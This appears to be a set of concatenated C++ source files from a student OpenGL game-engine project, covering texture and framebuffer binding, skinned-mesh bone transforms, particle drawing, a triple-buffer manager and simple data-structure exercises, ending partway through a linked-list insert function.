// _ _ _ _ ___ ___ ___ _ _ _ _ _ _
// | || |__ _ _ _ __| | |___ | __| _ )/ _ \ | |_ _____ _| |_ _ _ _ _ ___ | |__(_)_ _ __| (_)_ _ __ _
// | __ / _` | ' \/ _` | / -_) | _|| _ \ (_) | | _/ -_) \ / _| || | '_/ -_) | '_ \ | ' \/ _` | | ' \/ _` |
// |_||_\__,_|_||_\__,_|_\___| |_| |___/\___/ \__\___/_\_\\__|\_,_|_| \___| |_.__/_|_||_\__,_|_|_||_\__, |
// |___/
// HACK: This is dealing with the SINGLE FBO object, currently.
// The cMeshSceneObject has a boolean to indicate that is using this
// offscreen texture (the FBO).
// If it IS using this, then we bind the texture to that, and exit.
// We will be making this more sophisticated so that we can have
// multiple FBOs (which we will need and-or want)
// HACK: hakity hack hack hack hack hack
// _ _ _ ___ _ ___
// | || | /_\ / __| |/ / |
// | __ |/ _ \ (__| ' <|_|
// |_||_/_/ \_\___|_|\_(_)
//
// This lets us "get at" the one, global FBO
// extern GLuint g_FBO;
// extern GLuint g_FBO_colourTexture; // <--- texture number of the texture
// extern GLuint g_FBO_depthTexture;
// extern GLint g_FBO_SizeInPixes; // = 512 the WIDTH of the framebuffer, in pixels;
if ( pCurrentMesh->b_HACK_UsesOffscreenFBO )
{
// Connect the texture for this object to the FBO texture
// Pick texture unit 16 (just because - I randomly picked that)
int FBO_Texture_Unit_Michael_Picked = 1;
//if (pFBOObj->ID == 1)
//{
// FBO_Texture_Unit_Michael_Picked++;
//}
// 0x84C0 (or 33984)
// Please bind to texture unit 34,000. Why gawd, why?
glActiveTexture( GL_TEXTURE0 + FBO_Texture_Unit_Michael_Picked );
// Connect the specific texture to THIS texture unit
// glBindTexture( GL_TEXTURE_2D, g_FBO_colourTexture );
glBindTexture(GL_TEXTURE_2D, pFBOObj->colourTexture_0_ID);
// Now pick to read from the normal (output from the 1st pass):
// glBindTexture( GL_TEXTURE_2D, ::g_pFBOMain->normalTexture_1_ID );
// glBindTexture( GL_TEXTURE_2D, ::g_pFBOMain->depthTexture_ID );
// glBindTexture( GL_TEXTURE_2D, ::g_pFBOMain->vertexWorldPos_2_ID );
// Set the sampler (in the shader) to ALSO point to texture unit 16
// This one takes the unchanged texture unit numbers
// glUniform1i( tex00_UniLoc, FBO_Texture_Unit_Michael_Picked );
glUniform1i( texPass1OutputTexture_UniLoc, FBO_Texture_Unit_Michael_Picked );
// Set the blending to that it's 0th texture sampler
// NOTE: it's only the 0th (1st) texture that we are mixing from
// glUniform4f( texBW_0_UniLoc, 1.0f, 0.0f, 0.0f, 0.0f ); // <---- Note the 1.0f
// glUniform4f( texBW_1_UniLoc, 0.0f, 0.0f, 0.0f, 0.0f );
if (pCurrentMesh->vecTextures[0].strength > 0.2f)
{
glActiveTexture(GL_TEXTURE0 + 0);
// Connect the specific texture to THIS texture unit
std::string texName = pCurrentMesh->vecTextures[0].name;
GLuint texID = ::g_pTheTextureManager->getTextureIDFromName(texName);
glBindTexture(GL_TEXTURE_2D, texID);
glUniform1i(texPass1ReticleTexture_UniLoc, 0);
}
else
{
glActiveTexture(GL_TEXTURE0 + 0);
glBindTexture(GL_TEXTURE_2D, pFBOObj->colourTexture_0_ID);
glUniform1i(texPass1ReticleTexture_UniLoc, FBO_Texture_Unit_Michael_Picked);
}
// NOTE: Early return (so we don't set any other textures
// Again; HACK!!
return;
}//if ( pCurrentMesh->b_HACK_UsesOffscreenFBO )
// ********************************************************************
// ********************************************************************
// ********************************************************************
// For each texture, bind the texture to a texture unit and sampler
// Texture #0 (on the mesh) -- Texture Unit 0 -- Sampler 0
// Texture #1 (on the mesh) -- Texture Unit 1 -- Sampler 1
// ....
// Set all the blend weights (strengths) to zero
float blendWeights[8] = {0};
for ( int texBindIndex = 0; texBindIndex != pCurrentMesh->vecTextures.size(); texBindIndex++ )
{
// Bind to the the "texBindIndex" texture unit
glActiveTexture( GL_TEXTURE0 + texBindIndex );
// Connect the specific texture to THIS texture unit
std::string texName = pCurrentMesh->vecTextures[texBindIndex].name;
GLuint texID = ::g_pTheTextureManager->getTextureIDFromName(texName);
glBindTexture( GL_TEXTURE_2D, texID );
// Use a switch to pick the texture sampler and weight (strength)
// BECAUSE the samplers can't be in an array
switch ( texBindIndex )
{
case 0: // uniform sampler2D texture00 AND texBlendWeights[0].x;
glUniform1i( tex00_UniLoc, texBindIndex );
break;
case 1: // uniform sampler2D texture01 AND texBlendWeights[0].y;
glUniform1i( tex01_UniLoc, texBindIndex );
break;
case 2:
glUniform1i( tex02_UniLoc, texBindIndex );
break;
case 3:
glUniform1i( tex03_UniLoc, texBindIndex );
break;
case 4: // uniform sampler2D texture04 AND texBlendWeights[1].x;
glUniform1i( tex04_UniLoc, texBindIndex );
break;
case 5:
glUniform1i( tex05_UniLoc, texBindIndex );
break;
case 6:
glUniform1i( tex06_UniLoc, texBindIndex );
break;
case 7:
glUniform1i( tex07_UniLoc, texBindIndex );
break;
}//switch ( texBindIndex )
// Set the blend weight (strengty)
blendWeights[texBindIndex] = pCurrentMesh->vecTextures[texBindIndex].strength;
}//for ( int texBindIndex
// Set the weights (strengths) in the shader
glUniform4f( texBW_0_UniLoc, blendWeights[0], blendWeights[1], blendWeights[2], blendWeights[3] );
glUniform4f( texBW_1_UniLoc, blendWeights[4], blendWeights[5], blendWeights[6], blendWeights[7] );
return;
}
void DrawScene_Simple( std::vector<cMeshSceneObject*> vec_pMeshSceneObjects,
GLuint shaderProgramID,
unsigned int passNumber )
{
for ( unsigned int objIndex = 0;
objIndex != (unsigned int)vec_pMeshSceneObjects.size();
objIndex++ )
{
cMeshSceneObject* pCurrentMesh = vec_pMeshSceneObjects[objIndex];
glm::mat4x4 matModel = glm::mat4(1.0f); // mat4x4 m, p, mvp;
//if (pCurrentMesh->friendlyName != "Dalek")
//{
DrawObject(pCurrentMesh, matModel, shaderProgramID, g_pFBOMain);
//}
}//for ( unsigned int objIndex = 0;
return;
}
static float g_HACK_CurrentTime = 0.0f;
void DrawObject( cMeshSceneObject* pCurrentMesh,
glm::mat4x4 &matModel,
GLuint shaderProgramID,
cFBO* pFBOObj)
{
// Is this object visible
if ( ! pCurrentMesh->bIsVisible )
{
return;
}
// Set up the texture binding for this object
BindTextures( pCurrentMesh, shaderProgramID, pFBOObj);
//************************************
// matModel = glm::mat4x4(1.0f); // mat4x4_identity(m);
//m = m * rotateZ;
glm::mat4 matTranslation = glm::translate( glm::mat4(1.0f),
pCurrentMesh->position );
matModel = matModel * matTranslation; // matMove
glm::quat qRotation = pCurrentMesh->getQOrientation();
// Generate the 4x4 matrix for that
glm::mat4 matQrotation = glm::mat4( qRotation );
matModel = matModel * matQrotation;
//glm::mat4 postRot_X = glm::rotate( glm::mat4(1.0f),
// pCurrentMesh->postRotation.x,
// glm::vec3( 1.0f, 0.0, 0.0f ) );
//matModel = matModel * postRot_X;
//
//glm::mat4 postRot_Y = glm::rotate( glm::mat4(1.0f),
// pCurrentMesh->postRotation.y,
// glm::vec3( 0.0f, 1.0, 0.0f ) );
//matModel = matModel * postRot_Y;
//
//glm::mat4 postRot_Z = glm::rotate( glm::mat4(1.0f),
// pCurrentMesh->postRotation.z,
// glm::vec3( 0.0f, 0.0, 1.0f ) );
//matModel = matModel * postRot_Z;
// Calculate the inverse transpose before the scaling
glm::mat4 matModelInvTrans = glm::inverse( glm::transpose( matModel ) );
// And now scale
glm::mat4 matScale = glm::scale( glm::mat4(1.0f),
pCurrentMesh->nonUniformScale );
matModel = matModel * matScale;
//************************************
//mat4x4_mul(mvp, p, m);
//mvp = p * view * m;
glUseProgram(shaderProgramID);
// HACK: We wil deal with these uniform issues later...
// Loading the uniform variables here (rather than the inner draw loop)
// GLint objectColour_UniLoc = glGetUniformLocation( shaderProgramID, "objectColour" );
GLint objectDiffuse_UniLoc = glGetUniformLocation( shaderProgramID, "objectDiffuse" );
GLint objectSpecular_UniLoc = glGetUniformLocation( shaderProgramID, "objectSpecular" );
//uniform vec3 lightPos;
//uniform float lightAtten;
GLint lightPos_UniLoc = glGetUniformLocation( shaderProgramID, "lightPos" );
GLint lightBrightness_UniLoc = glGetUniformLocation( shaderProgramID, "lightBrightness" );
GLint useVertexColour_UniLoc = glGetUniformLocation( shaderProgramID, "useVertexColour" );
// // uniform mat4 MVP; THIS ONE IS NO LONGER USED
//uniform mat4 matModel; // M
//uniform mat4 matView; // V
//uniform mat4 matProj; // P
//GLint mvp_location = glGetUniformLocation(program, "MVP");
GLint matModel_location = glGetUniformLocation(shaderProgramID, "matModel");
GLint matModelInvTrans_location = glGetUniformLocation(shaderProgramID, "matModelInvTrans");
GLint matView_location = glGetUniformLocation(shaderProgramID, "matView");
GLint matProj_location = glGetUniformLocation(shaderProgramID, "matProj");
GLint bDontUseLighting_UniLoc = glGetUniformLocation(shaderProgramID, "bDontUseLighting" );
glUniformMatrix4fv( matModel_location, 1, GL_FALSE, glm::value_ptr(matModel));
glUniformMatrix4fv( matModelInvTrans_location, 1, GL_FALSE, glm::value_ptr(matModelInvTrans) );
// Set the object to "wireframe"
// glPolygonMode( GL_FRONT_AND_BACK , GL_LINE ); //GL_FILL
glPolygonMode( GL_FRONT_AND_BACK , GL_FILL ); //GL_FILL
//GLint objectColour_UniLoc
// = glGetUniformLocation( program, "objectColour" );
//glUniform3f( objectColour_UniLoc,
// pCurrentMesh->objColour.r,
// pCurrentMesh->objColour.g,
// pCurrentMesh->objColour.b );
// ***************************************************
// I'll do quick sort or whatever sexy sorts
// One pass of bubble sort is fine...
// Enable blend or "alpha" transparency
glEnable(GL_BLEND);
//glDisable( GL_BLEND );
// Source == already on framebuffer
// Dest == what you're about to draw
// This is the "regular alpha blend transparency"
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
GLint wholeObjectAlphaTransparency_LocID = glGetUniformLocation( shaderProgramID,
"wholeObjectAlphaTransparency" );
// Take the 4th value from the material and pass it as alpha
glUniform1f( wholeObjectAlphaTransparency_LocID, pCurrentMesh->materialDiffuse.a );
// ****************************************************
glUniform4f( objectDiffuse_UniLoc,
pCurrentMesh->materialDiffuse.r,
pCurrentMesh->materialDiffuse.g,
pCurrentMesh->materialDiffuse.b,
pCurrentMesh->materialDiffuse.a );
glUniform4f( objectSpecular_UniLoc,
pCurrentMesh->materialSpecular.r,
pCurrentMesh->materialSpecular.g,
pCurrentMesh->materialSpecular.b,
pCurrentMesh->materialSpecular.a );
if ( pCurrentMesh->bUseVertexColour )
{
glUniform1f( useVertexColour_UniLoc, (float)GL_TRUE );
}
else
{
glUniform1f( useVertexColour_UniLoc, (float)GL_FALSE );
}
if ( pCurrentMesh->bDontLight )
{
glUniform1f( bDontUseLighting_UniLoc, (float)GL_TRUE );
}
else
{
glUniform1f( bDontUseLighting_UniLoc, (float)GL_FALSE );
}
if ( pCurrentMesh->bIsWireFrame )
{
// Yes, draw it wireframe
glPolygonMode( GL_FRONT_AND_BACK, GL_LINE );
glDisable( GL_CULL_FACE ); // Discared "back facing" triangles
//glDisable( GL_DEPTH ); // Enables the KEEPING of the depth information
//glDisable( GL_DEPTH_TEST ); // When drawing, checked the existing depth
}
else
{
// No, it's "solid" (or "Filled")
glPolygonMode( GL_FRONT_AND_BACK, GL_FILL );
glEnable( GL_CULL_FACE ); // Discared "back facing" triangles
//glEnable( GL_DEPTH ); // Enables the KEEPING of the depth information
//glEnable( GL_DEPTH_TEST ); // When drawing, checked the existing depth
}
// *****************************************************************
// ___ _ _ _ __ __ _
// / __| |_(_)_ _ _ _ ___ __| | \/ |___ __| |_
// \__ \ / / | ' \| ' \/ -_) _` | |\/| / -_|_-< ' \
// |___/_\_\_|_||_|_||_\___\__,_|_| |_\___/__/_||_|
//
GLint bIsASkinnedMesh_LocID = glGetUniformLocation( shaderProgramID,
"bIsASkinnedMesh" );
// Is this a skinned mesh model or a "regular" static one?
sModelDrawInfo modelInfo;
if ( pCurrentMesh->pSimpleSkinnedMesh == NULL )
{
// It's a "regular" mesh
modelInfo.meshFileName = pCurrentMesh->meshName;
glUniform1f( bIsASkinnedMesh_LocID, (float)GL_FALSE );
}
else
{
// It ++IS++ skinned mesh
modelInfo.meshFileName = pCurrentMesh->pSimpleSkinnedMesh->fileName;
glUniform1f( bIsASkinnedMesh_LocID, (float)GL_TRUE );
// Also pass up the bone information...
std::vector< glm::mat4x4 > vecFinalTransformation; // Replaced by theMesh.vecFinalTransformation
std::vector< glm::mat4x4 > vecOffsets;
// cAnimationState* pAniState = pCurrentMesh->pAniState->;
// Are there any animations in the queue?
// if ( pCurrentMesh->pAniState->vecAnimationQueue.empty() )
pCurrentMesh->pSimpleSkinnedMesh->BoneTransform(
//0.0f, // curFrameTime,
g_HACK_CurrentTime, // curFrameTime,
// "assets/modelsFBX/RPG-Character_Unarmed-Walk(FBX2013).FBX", // animationToPlay, //**NEW**
// "assets/modelsFBX/RPG-Character_Unarmed-Roll-Backward(FBX2013).fbx", // animationToPlay, //**NEW**
// "assets/modelsFBX/RPG-Character_Unarmed-Idle(FBX2013).fbx", // animationToPlay, //**NEW**
pCurrentMesh->currentAnimation,
vecFinalTransformation, // Final bone transforms for mesh
pCurrentMesh->vecObjectBoneTransformation, // final location of bones
vecOffsets ); // local offset for each bone
::g_HACK_CurrentTime += 0.01f; // Frame time, but we are going at 60HZ
unsigned int numberOfBonesUsed = static_cast< unsigned int >( vecFinalTransformation.size() );
GLint numBonesUsed_UniLoc = glGetUniformLocation( shaderProgramID, "numBonesUsed" );
glUniform1i( numBonesUsed_UniLoc, numberOfBonesUsed );
// const unsigned int TOTALNUMBEROFBONESTOPASSINTOTHESHADERASIDENTIYMATRIXVALUES = 99;
// for ( unsigned int index = 0; index != numberOfBonesUsed; index++ )
// {
// vecFinalTransformation.push_back( glm::mat4(1.0f) );
// }
glm::mat4x4* pBoneMatrixArray = &(vecFinalTransformation[0]);
// UniformLoc_bonesArray is the getUniformLoc of "bones[0]" from
// uniform mat4 bones[MAXNUMBEROFBONES]
// in the shader
GLint bones_UniLoc = glGetUniformLocation( shaderProgramID, "bones" );
// std::cout << "bones_UniLoc: " << bones_UniLoc << std::endl; std::cout.flush();
glUniformMatrix4fv( bones_UniLoc, numberOfBonesUsed, GL_FALSE,
(const GLfloat*) glm::value_ptr( *pBoneMatrixArray ) );
// Update the extents of the skinned mesh from the bones...
// sMeshDrawInfo.minXYZ_from_SM_Bones(glm::vec3(0.0f)),
// sMeshDrawInfo.maxXYZ_from_SM_Bones(glm::vec3(0.0f))
for ( unsigned int boneIndex = 0; boneIndex != numberOfBonesUsed; boneIndex++ )
{
glm::mat4 boneLocal = pCurrentMesh->vecObjectBoneTransformation[boneIndex];
// HACK: Need to add "uniform scale" to mesh
// float scale = pCurrentMesh->nonUniformScale.x;
float scale = 1.0f; // For now
boneLocal = glm::scale( boneLocal, glm::vec3( pCurrentMesh->nonUniformScale.x,
pCurrentMesh->nonUniformScale.y,
pCurrentMesh->nonUniformScale.z) );
glm::vec4 boneBallLocation = boneLocal * glm::vec4(0.0f, 0.0f, 0.0f, 1.0f );
boneBallLocation *= scale;
// Draw a debug sphere at the location of the bone
// boneBallLocation += glm::vec4(0.0f, 0.0f, 0.0f, 0.0f);
// ::g_pDebugRenderer->addDebugSphere( glm::vec3(boneBallLocation),
// glm::vec3( 1.0f, 1.0f, 1.0f ),
// scale, 0.0f );
//DrawDebugBall( glm::vec3(boneBallLocation), glm::vec4(0.0f, 1.0f, 0.0f, 1.0f), 0.2f );
// Bone index [13] = "B_L_Finger31"
if ( boneIndex == 25 )
{
//DrawDebugBall( glm::vec3(boneBallLocation), glm::vec4(1.0f, 0.0f, 0.0f, 1.0f), 0.5f );
// std::cout << "Bone 13, B_L_Finger31: "
// << boneBallLocation.x << ", "
// << boneBallLocation.y << ", "
// << boneBallLocation.z << std::endl;
cMeshSceneObject* pPlayerBody = findObjectByFriendlyName("PlayerBody");
pPlayerBody->setUniformScale(10.0f);
pPlayerBody->position = boneBallLocation;
}
// Update the extents of the mesh
if ( boneIndex == 0 )
{
// For the 0th bone, just assume this is the extent
pCurrentMesh->minXYZ_from_SM_Bones = glm::vec3(boneBallLocation);
pCurrentMesh->maxXYZ_from_SM_Bones = glm::vec3(boneBallLocation);
}
else
{ // It's NOT the 0th bone, so compare with current max and min
if ( pCurrentMesh->minXYZ_from_SM_Bones.x < boneBallLocation.x ) { pCurrentMesh->minXYZ_from_SM_Bones.x = boneBallLocation.x; }
if ( pCurrentMesh->minXYZ_from_SM_Bones.y < boneBallLocation.y ) { pCurrentMesh->minXYZ_from_SM_Bones.y = boneBallLocation.y; }
if ( pCurrentMesh->minXYZ_from_SM_Bones.z < boneBallLocation.z ) { pCurrentMesh->minXYZ_from_SM_Bones.z = boneBallLocation.z; }
if ( pCurrentMesh->maxXYZ_from_SM_Bones.x > boneBallLocation.x ) { pCurrentMesh->maxXYZ_from_SM_Bones.x = boneBallLocation.x; }
if ( pCurrentMesh->maxXYZ_from_SM_Bones.y > boneBallLocation.y )
{
pCurrentMesh->maxXYZ_from_SM_Bones.y = boneBallLocation.y;
}
if ( pCurrentMesh->maxXYZ_from_SM_Bones.z > boneBallLocation.z )
{
pCurrentMesh->maxXYZ_from_SM_Bones.z = boneBallLocation.z;
}
}//if ( boneIndex == 0 )
}
}//if ( pCurrentMesh->pSimpleSkinnedMesh == NULL )
// ___ _ _ _ __ __ _
// / __| |_(_)_ _ _ _ ___ __| | \/ |___ __| |_
// \__ \ / / | ' \| ' \/ -_) _` | |\/| / -_|_-< ' \
// |___/_\_\_|_||_|_||_\___\__,_|_| |_\___/__/_||_|
//
// *****************************************************************
if ( g_pTheVAOMeshManager->FindDrawInfoByModelName( modelInfo ) )
{
//glDrawArrays(GL_TRIANGLES, 0, bunnyInfo.numberOfIndices );
glBindVertexArray( modelInfo.VAO_ID );
glDrawElements( GL_TRIANGLES,
modelInfo.numberOfIndices,
GL_UNSIGNED_INT,
0 );
glBindVertexArray( 0 );
}
else
{
std::cout << pCurrentMesh->meshName << " was not found" << std::endl;
}
for ( unsigned int childMeshIndex = 0; childMeshIndex != pCurrentMesh->vec_pChildObjectsToDraw.size(); childMeshIndex++ )
{
glm::mat4 matWorldParent = matModel;
DrawObject( pCurrentMesh->vec_pChildObjectsToDraw[childMeshIndex], matWorldParent, shaderProgramID, g_pFBOMain );
}
return;
}//void DrawObject(void)
// Draws any particle emitters that are active
void updateAndDrawParticles( double deltaTime,
GLuint shaderProgramID,
glm::vec3 cameraEye )
{
// These GetUniformLocation() calls should NOT be in the draw call
// (you should get these at the start and cache them in the cShaderObject, perhaps)
GLint bIsParticleImposter_UniLoc = glGetUniformLocation( shaderProgramID, "bIsParticleImposter" );
GLint ParticleImposterAlphaOverride_UniLoc = glGetUniformLocation( shaderProgramID, "ParticleImposterAlphaOverride" );
GLint ParticleImposterBlackThreshold_UniLoc = glGetUniformLocation( shaderProgramID, "ParticleImposterBlackThreshold" );
// Black threshold is where the imposter will discard
// i.e. At or below this value, the imposter isn't draw.
// (range is from 0.0 to 1.0)
glUniform1f(ParticleImposterBlackThreshold_UniLoc, 0.25f);
// STARTOF: Star shaped smoke particle
std::map<std::string /*name*/, cParticleEmitter* >::iterator itPE_Smoke01
= ::g_map_pParticleEmitters.find("Smoke01");
if ( itPE_Smoke01 != ::g_map_pParticleEmitters.end() )
{
cParticleEmitter* pPE_Smoke01 = itPE_Smoke01->second;
// Update the particle emitter
cMeshSceneObject* pParticleMesh = findObjectByFriendlyName("SmokeObjectStar");
glm::mat4 matParticleIndentity = glm::mat4(1.0f);
glm::vec3 oldPosition = pParticleMesh->position;
glm::quat oldOrientation = pParticleMesh->getQOrientation();
glm::vec3 oldScale = pParticleMesh->nonUniformScale;
pParticleMesh->setMeshOrientationEulerAngles(0.0f,0.0f,0.0f);
pParticleMesh->bIsVisible = true;
// Set up the shader
glUniform1f( bIsParticleImposter_UniLoc, (float)GL_TRUE );
pPE_Smoke01->Update(deltaTime);
std::vector<sParticle> vecParticlesToDraw;
pPE_Smoke01->getAliveParticles(vecParticlesToDraw);
pPE_Smoke01->sortParticlesBackToFront(vecParticlesToDraw, cameraEye);
unsigned int numParticles = (unsigned int)vecParticlesToDraw.size();
// std::cout << "Drawing " << numParticles << " particles" << std::end;
unsigned int count = 0;
for ( unsigned int index = 0; index != numParticles; index++ )
{
if ( vecParticlesToDraw[index].lifeRemaining > 0.0f )
{
// Draw it
pParticleMesh->position = vecParticlesToDraw[index].position;
pParticleMesh->setUniformScale( vecParticlesToDraw[index].scale );
pParticleMesh->setQOrientation( vecParticlesToDraw[index].qOrientation );
// This is for the "death" transparency
glUniform1f( ParticleImposterAlphaOverride_UniLoc, vecParticlesToDraw[index].transparency );
DrawObject( pParticleMesh, matParticleIndentity, shaderProgramID, g_pFBOMain);
count++;
}
}
// std::cout << "Drew " << count << " particles" << std::endl;
pParticleMesh->bIsVisible = false;
pParticleMesh->position = oldPosition;
pParticleMesh->setQOrientation(oldOrientation);
pParticleMesh->nonUniformScale = oldScale;
glUniform1f( bIsParticleImposter_UniLoc, (float)GL_FALSE );
glUniform1f( ParticleImposterAlphaOverride_UniLoc, 1.0f );
// ***************************************************************************
}
// ENDOF: Star shaped smoke particle
// STARTOF: flat 2D smoke particle
std::map<std::string /*name*/, cParticleEmitter* >::iterator itPE_Smoke02
= ::g_map_pParticleEmitters.find("Smoke02");
if ( itPE_Smoke02 != ::g_map_pParticleEmitters.end() )
{
cParticleEmitter* pPE_Smoke02 = itPE_Smoke02->second;
// Update the particle emitter
cMeshSceneObject* pParticleMesh = findObjectByFriendlyName("SmokeObjectQuad");
glm::mat4 matParticleIndentity = glm::mat4(1.0f);
glm::vec3 oldPosition = pParticleMesh->position;
glm::quat oldOrientation = pParticleMesh->getQOrientation();
glm::vec3 oldScale = pParticleMesh->nonUniformScale;
pParticleMesh->setMeshOrientationEulerAngles(0.0f,0.0f,0.0f);
pParticleMesh->bIsVisible = true;
// Set up the shader
glUniform1f( bIsParticleImposter_UniLoc, (float)GL_TRUE );
pPE_Smoke02->Update(deltaTime);
std::vector<sParticle> vecParticlesToDraw;
pPE_Smoke02->getAliveParticles(vecParticlesToDraw);
pPE_Smoke02->sortParticlesBackToFront(vecParticlesToDraw, cameraEye);
unsigned int numParticles = (unsigned int)vecParticlesToDraw.size();
// std::cout << "Drawing " << numParticles << " particles" << std::end;
unsigned int count = 0;
for ( unsigned int index = 0; index != numParticles; index++ )
{
if ( vecParticlesToDraw[index].lifeRemaining > 0.0f )
{
// Draw it
pParticleMesh->position = vecParticlesToDraw[index].position;
pParticleMesh->setUniformScale( vecParticlesToDraw[index].scale );
pParticleMesh->setQOrientation( vecParticlesToDraw[index].qOrientation );
// This is for the "death" transparency
glUniform1f( ParticleImposterAlphaOverride_UniLoc, vecParticlesToDraw[index].transparency );
DrawObject( pParticleMesh, matParticleIndentity, shaderProgramID, g_pFBOMain);
count++;
}
}
// std::cout << "Drew " << count << " particles" << std::endl;
pParticleMesh->bIsVisible = false;
pParticleMesh->position = oldPosition;
pParticleMesh->setQOrientation(oldOrientation);
pParticleMesh->nonUniformScale = oldScale;
glUniform1f( bIsParticleImposter_UniLoc, (float)GL_FALSE );
glUniform1f( ParticleImposterAlphaOverride_UniLoc, 1.0f );
// ***************************************************************************
}
// ENDOF: Star shaped smoke particle
// STARTOF: flat 2D plasma explosion
std::map<std::string /*name*/, cParticleEmitter* >::iterator itPE_Plasma_01
= ::g_map_pParticleEmitters.find("PlasmaExplosion");
if ( itPE_Plasma_01 != ::g_map_pParticleEmitters.end() )
{
cParticleEmitter* pPE_Plasma_01 = itPE_Plasma_01->second;
// Update the particle emitter
cMeshSceneObject* pParticleMesh = findObjectByFriendlyName("PlasmaRingImposterObject");
glm::mat4 matParticleIndentity = glm::mat4(1.0f);
glm::vec3 oldPosition = pParticleMesh->position;
glm::quat oldOrientation = pParticleMesh->getQOrientation();
glm::vec3 oldScale = pParticleMesh->nonUniformScale;
pParticleMesh->setMeshOrientationEulerAngles(0.0f,0.0f,0.0f);
pParticleMesh->bIsVisible = true;
// Set up the shader
glUniform1f( bIsParticleImposter_UniLoc, (float)GL_TRUE );
pPE_Plasma_01->Update(deltaTime);
std::vector<sParticle> vecParticlesToDraw;
pPE_Plasma_01->getAliveParticles(vecParticlesToDraw);
pPE_Plasma_01->sortParticlesBackToFront(vecParticlesToDraw, cameraEye);
unsigned int numParticles = (unsigned int)vecParticlesToDraw.size();
// std::cout << "Drawing " << numParticles << " particles" << std::end;
unsigned int count = 0;
for ( unsigned int index = 0; index != numParticles; index++ )
{
if ( vecParticlesToDraw[index].lifeRemaining > 0.0f )
{
// Draw it
pParticleMesh->position = vecParticlesToDraw[index].position;
pParticleMesh->setUniformScale( vecParticlesToDraw[index].scale );
pParticleMesh->setQOrientation( vecParticlesToDraw[index].qOrientation );
// This is for the "death" transparency
glUniform1f( ParticleImposterAlphaOverride_UniLoc, vecParticlesToDraw[index].transparency );
DrawObject( pParticleMesh, matParticleIndentity, shaderProgramID, g_pFBOMain);
count++;
}
}
// std::cout << "Drew " << count << " particles" << std::endl;
pParticleMesh->bIsVisible = false;
pParticleMesh->position = oldPosition;
pParticleMesh->setQOrientation(oldOrientation);
pParticleMesh->nonUniformScale = oldScale;
glUniform1f( bIsParticleImposter_UniLoc, (float)GL_FALSE );
glUniform1f( ParticleImposterAlphaOverride_UniLoc, 1.0f );
// ***************************************************************************
}
// ENDOF: flat 2D plasma explosion
return;
}<file_sep>#ifndef _DIYVector_HG_
#define _DIYVector_HG_
#include "cPerson.h"
class cVector
{
public:
cVector();
~cVector();
void InsertPersonAtEnd(sPerson person); // push_back()
// Every single insert causes a "shift and copy"
// and also might cause a resize (and copy)
void InsertPersonAtIndex(unsigned int index, sPerson person);
bool GetPersonAtIndex(unsigned int index, sPerson &thePerson); // operator[]
void SetCapacity(unsigned int newCapacity); // vec.reserve();
unsigned int GetSize(void); // Number of things in array
unsigned int GetCapacity(void); // Actual size of internal array
private:
// Store data dynamically
sPerson* m_pMyData; // "array" of data
// Vector can hold 3 things at the start
static unsigned int INIT_CAPACITY;// = 3;
unsigned int m_curCapacity; // How big the array is
unsigned int m_nextIndex; // The "end" of the array
};
#endif
<file_sep>#include "cDalekManagerTripleBuffer.h"
#include <process.h>
#include <Windows.h>
CRITICAL_SECTION CSBufferIndex;
cDalekManagerTripleBuffer::cDalekManagerTripleBuffer()
{
InitializeCriticalSection( &CSBufferIndex );
// We want the read buffer to be IN FRONT of the write buffer.
// So something like this:
//
// Buffer 0: write
// Buffer 1: read
// Buffer 2: -----
//
// After switch:
// Buffer 0: (dirty write)
// Buffer 1: write
// Buffer 2: read
//
// The "dirty write" is if some of the threads haven't
// realized that the buffers have switched. This is OK
// because there not chance of the reader READING bad
// data, only that the occasional writer is out by one
// buffer value.
this->m_CurrentWriteBufferIndex = 0;
this->m_CurrentReadBufferIndex = 1;
return;
}
cDalekManagerTripleBuffer::~cDalekManagerTripleBuffer()
{
DeleteCriticalSection( &CSBufferIndex );
return;
}
void cDalekManagerTripleBuffer::InitBuffers(unsigned int size)
{
// Create three buffers that are size big...
// (and fill them will all zeros)
for ( unsigned int buffIndex = 0; buffIndex != NUMBEROFBUFFERS; buffIndex++ )
{
this->vecPositions[buffIndex].reserve(size);
for ( unsigned int posCount = 0; posCount != size; posCount++ )
{
this->vecPositions[buffIndex].push_back( glm::vec3(0.0f,0.0f,0.0f) );
}
}
return;
}
// Called by the renderer (or main thread)
void cDalekManagerTripleBuffer::SwitchBuffers(void)
{
EnterCriticalSection( &CSBufferIndex );
this->m_CurrentWriteBufferIndex++;
this->m_CurrentReadBufferIndex++;
if ( this->m_CurrentReadBufferIndex > NUMBEROFBUFFERS )
{
this->m_CurrentReadBufferIndex = 0;
}
if ( this->m_CurrentWriteBufferIndex > NUMBEROFBUFFERS )
{
this->m_CurrentWriteBufferIndex = 0;
}
LeaveCriticalSection( &CSBufferIndex );
return;
}
unsigned int cDalekManagerTripleBuffer::getCurrentReadBuffer(void)
{
return this->m_CurrentReadBufferIndex;
}
unsigned int cDalekManagerTripleBuffer::getCurrentWriteBuffer(void)
{
return this->m_CurrentWriteBufferIndex;
}
// This is called by each of the Daleks
void cDalekManagerTripleBuffer::UpdatePositionAtIndex( unsigned int index,
glm::vec3 newPosition )
{
this->vecPositions[this->m_CurrentWriteBufferIndex][index] = newPosition;
return;
}
<file_sep>#include <map>
#include "cPerson.h"
#include <iostream>
#include <string>
int main_STL_MAP()
{
sPerson michael;
michael.first = "Michael";
michael.last = "Feeney";
sPerson robin;
robin.first = "Robin";
robin.last = "Bobbin";
sPerson fraser;
fraser.first = "Fraser";
fraser.last = "Fareast";
sPerson jacob;
jacob.first = "Jacob";
jacob.last = "Sir";
std::map<std::string /*first*/, sPerson> myMap;
myMap[michael.first] = michael;
myMap[robin.first] = robin;
myMap[fraser.first] = fraser;
myMap[jacob.first] = jacob;
sPerson thePerson = myMap["Jacob"];
return 0;
}
<file_sep>#include "cList.h"
cList::cList()
{
this->m_pCurrentNode = NULL;
this->m_pRootNode = NULL;
return;
}
cList::~cList()
{
//TODO: Clean up
return;
}
cList::cNode::cNode()
{
this->pNextNode = NULL;
this->pPriorNode = NULL;
return;
}
void cList::InsertAtCurrentLocation(sPerson newPerson)
{
// Is the current node NULL?
if ( this->m_pCurrentNode == NULL )
{
cNode* pNewNode = new cNode();
// Copy the data to this node
pNewNode->theData = newPerson;
// Point the current node to this node
this->m_pCurrentNode = pNewNode;
// Is this the very first node, too?
if ( this->m_pRootNode == NULL )
{
// Yes, so point to this as well
this->m_pRootNode = pNewNode;
}
}
else
{ // There's already something at the "current" node
cNode* pNewNode = new cNode();
// Copy the information
pNewNode->theData = newPerson;
